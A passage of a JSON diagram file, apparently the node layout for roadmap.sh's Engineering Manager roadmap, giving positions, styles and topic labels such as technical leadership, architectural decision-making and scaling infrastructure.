    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"UaA7mS2G18Wab_zHexpgb\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 452.27472550245693,\n        \"y\": 3890.049403240214\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 295,\n      \"height\": 321,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 321\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 452.27472550245693,\n        \"y\": 3890.049403240214\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 321\n      }\n    },\n    {\n      \"id\": \"jSD7SyS99Rb7Mhv1uUFZA\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3813\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 316,\n      \"height\": 321,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 321\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3813\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 321\n      }\n    },\n    {\n      \"id\": \"MGkl-UZPEMJ7e7HzVfYyL\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 831,\n        \"y\": 3709\n      },\n      \"width\": 268,\n      \"height\": 325,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 325\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 831,\n        \"y\": 3709\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 325\n      }\n    },\n    {\n      \"id\": \"bLx0NI1XEqYnuLhGOyWai\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 441.7918356340306,\n        \"y\": 2655.9099225883974\n      },\n      \"width\": 316,\n      \"height\": 334,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 334\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"WLpTOX_NI9r4JoSoqON1L\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 441.7918356340306,\n        \"y\": 2655.9099225883974\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 334\n      }\n    },\n    {\n      \"id\": \"iAsUXmTDnwvZTlH1_TKv0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 448.1228868084611,\n        \"y\": 2178.293433672607\n      },\n      \"width\": 308,\n      \"height\": 409,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 409\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.1228868084611,\n        \"y\": 2178.293433672607\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 409\n      }\n    },\n    {\n      \"id\": \"h1SFhjuzkkPzCK-rYnmnE\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 837.7330251404354,\n        \"y\": 2269.4303418232553\n      },\n      \"width\": 306,\n      \"height\": 319,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 319\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 837.7330251404354,\n        \"y\": 2269.4303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 319\n      }\n    },\n    {\n      \"id\": \"7vahmZfyKoHFz9Yq-Vb4C\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1216.1643160951594,\n        \"y\": 2649.996177520253\n      },\n      \"width\": 297,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1216.1643160951594,\n        \"y\": 2649.996177520253\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"WLpTOX_NI9r4JoSoqON1L\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 835.7611199405385,\n        \"y\": 2653.193237466215\n      },\n      \"width\": 316,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 835.7611199405385,\n        \"y\": 2653.193237466215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"s5b9niOUvZbZq5KOMeN-e\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 856.7539355776339,\n        \"y\": 1868.0649461621495\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 253,\n      \"height\": 278,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 278\n      },\n      \"positionAbsolute\": {\n        \"x\": 856.7539355776339,\n        \"y\": 1868.0649461621495\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 278\n      }\n    },\n    {\n      \"id\": \"fQbBVljA0ECDGOlxO0GmQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 833.4653895358222,\n        \"y\": 1276.1483422046601\n      },\n      \"width\": 306,\n      \"height\": 329,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 329\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 833.4653895358222,\n        \"y\": 1276.1483422046601\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 329\n      }\n    },\n    {\n      \"id\": \"ad29W87dmCPd4pATKchVk\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 468.4951891168022,\n        \"y\": 1275.8673500113996\n      },\n      \"width\": 293,\n      \"height\": 328,\n      \"style\": {\n        \"width\": 293,\n        \"height\": 328\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.4951891168022,\n        \"y\": 1275.8673500113996\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 328\n      }\n    },\n    {\n      \"id\": \"JCjb-qZuoQqGWrHpTw4tD\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 473.4951891168022,\n        \"y\": 1680.7179791030273\n      },\n      \"width\": 285,\n      \"height\": 326,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 473.4951891168022,\n        \"y\": 1680.7179791030273\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 326\n      }\n    },\n    {\n      \"id\": \"kOOzXG97rv2heF-i6CudZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 440.6007636336227,\n        \"y\": 884.8741544885359\n      },\n      \"width\": 302,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 440.6007636336227,\n        \"y\": 884.8741544885359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"t-NmzANfChExde1ljNwqJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 831.6408176626721,\n        \"y\": 822.1177694179561\n      },\n      \"width\": 306,\n      \"height\": 389,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 389\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 831.6408176626721,\n        \"y\": 822.1177694179561\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 389\n      }\n    },\n    {\n      \"id\": \"X8b4Mang8X69ZL54MUp_Y\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1199.8829633399996,\n        \"y\": 887.6586838116007\n      },\n      \"width\": 296,\n      \"height\": 320,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 320\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1199.8829633399996,\n        \"y\": 887.6586838116007\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 320\n      }\n    },\n    {\n      \"id\": \"RuGjm3c0Qa57WXOMH25jt\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 826.6408176626721,\n        \"y\": 388.4925298209597\n      },\n      \"width\": 303,\n      \"height\": 383,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 383\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 826.6408176626721,\n        \"y\": 388.4925298209597\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 383\n      }\n    },\n    {\n      \"id\": \"gjz97vjZ1mrnWNm5gO4pP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 428.81040876379427,\n        \"y\": 290.52507946716673\n      },\n      \"width\": 327,\n      \"height\": 430,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 430\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 428.81040876379427,\n        \"y\": 290.52507946716673\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 430\n      }\n    },\n    {\n      \"id\": \"gxFEOMJTAKrcGn8yD_zYm\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1179.7911943279541,\n        \"y\": 443.7338337249069\n      },\n      \"width\": 331,\n      \"height\": 322,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 322\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1179.7911943279541,\n        \"y\": 443.7338337249069\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 322\n      }\n    },\n    {\n      \"width\": 318,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 799.594655118595,\n        \"y\": 20.816084078090398\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Engineering Manager\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 799.594655118595,\n        \"y\": 20.816084078090398\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 320,\n      \"height\": 49,\n      \"id\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 798.594655118595,\n        \"y\": 155.43129883447682\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Engineering Management?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c1edrcSmHO_L2e9DGh7st\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 798.594655118595,\n        \"y\": 155.43129883447682\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1163.5524659871344,\n        \"y\": -89.80917212901248\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 1163.5524659871344,\n        \"y\": -89.80917212901248\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1176.7558403999344,\n        \"y\": -7.823608711267283\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1176.7558403999344,\n        \"y\": -7.823608711267283\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Irad96FtU3TkNZRK7x_8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 948.094655118595,\n        \"y\": -100.16150727787408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 948.094655118595,\n        \"y\": -100.16150727787408\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 101\n      }\n    },\n    {\n      \"width\": 711,\n      \"height\": 116,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 732.9180934525762,\n        \"y\": 4288.41334597972\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks about system design and architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 732.9180934525762,\n        \"y\": 4288.41334597972\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 711,\n        \"height\": 116\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 711,\n        \"height\": 116\n      }\n    },\n    {\n      \"width\": 229,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 746.9318959368622,\n        \"y\": 4342.55900341283\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Software Architect\",\n        \"href\": \"https://roadmap.sh/software-architect\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 746.9318959368622,\n        \"y\": 4342.55900341283\n      },\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1077.9180934525762,\n        \"y\": 4404.41334597972\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 1077.9180934525762,\n        \"y\": 4404.41334597972\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 160,\n      \"height\": 49,\n      \"id\": \"CH_K6mmFX_GdSzi2n1ID7\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 980.7621165450823,\n        \"y\": 4342.55900341283\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"href\": \"https://roadmap.sh/system-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 980.7621165450823,\n        \"y\": 4342.55900341283\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oKbeLp4YB8rI1Q3vi0EnG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 450.1567530029688,\n        \"y\": 155.4312988344768\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EM vs Tech Lead vs IC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 450.1567530029688,\n        \"y\": 155.4312988344768\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aSZ2uVCmpAdEPjJt6VKG4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1190.385705925013,\n        \"y\": 155.4312988344768\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"People\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TqKJ44KCfjKsH5jXYdfTn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1190.385705925013,\n        \"y\": 155.4312988344768\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p9ecMvHCqjmvxf67di7pY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1295.385705925013,\n        \"y\": 155.4312988344768\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iZFn0FaRdrGv_-_8zii_-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1295.385705925013,\n        \"y\": 155.4312988344768\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JzkDdCShl_Mytw9PcSRr1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1283.885705925013,\n        \"y\": 224.94907390013265\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Focus Areas\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1283.885705925013,\n        \"y\": 224.94907390013265\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"iZFn0FaRdrGv_-_8zii_-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1419.7663552087374,\n        \"y\": 154.73466680187187\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1419.7663552087374,\n        \"y\": 154.73466680187187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yO6GoicRL8RD029DQO7YB\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1190.385705925013,\n        \"y\": 209.94907390013265\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 1190.385705925013,\n        \"y\": 209.94907390013265\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"_V1bNZwDOIKF_bskubGTG\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 811.594655118595,\n        \"y\": 278.07315429496583\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Leadership\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"X_nhWY6Veipg2OWISeJEa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 69\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 811.594655118595,\n        \"y\": 278.07315429496583\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"FtWNnOE3zObmjS-Og26M3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 497.0569380676916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Architectural Decision-Making\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zpphxuz1vaPjnizUm2Qu-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 497.0569380676916\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pduPcv2QPpVmVvDdK4CPi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 437.81040876379427,\n        \"y\": 348.52414423848666\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Monitoring & Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zpphxuz1vaPjnizUm2Qu-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 437.81040876379427,\n        \"y\": 348.52414423848666\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"EyoVFmqOJbH1sAPHLISFt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 655.0569380676916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scaling Infrastructure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": 